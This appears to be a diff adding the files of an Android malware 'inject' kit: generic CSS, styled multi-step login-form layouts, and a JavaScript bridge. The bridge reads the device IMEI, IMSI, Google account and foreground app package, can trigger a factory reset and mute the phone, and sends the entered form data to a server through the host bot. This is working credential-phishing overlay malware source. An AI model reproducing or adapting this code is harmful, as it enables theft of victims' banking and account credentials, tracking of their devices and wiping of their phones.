box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.8 KiB |
|
After Width: | Height: | Size: 5.4 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,306 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: ##FE0101;
|
||||
border: solid 1px #365FB4;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.form_header {
|
||||
background: #FE0101;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #000;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #FE0101;
|
||||
background-image: -moz-linear-gradient(bottom, #FE0101 0%, #FE0101 100%);
|
||||
background-image: -o-linear-gradient(bottom, #FE0101 0%, #FE0101 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #FE0101 0%, #FE0101 100%);
|
||||
background-image: linear-gradient(to top, #FE0101 0%, #FE0101 100%);
|
||||
border: 2px solid #F0F0F0;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
border: 1px solid #E8E8E8 !important;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 1px solid #CCC;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
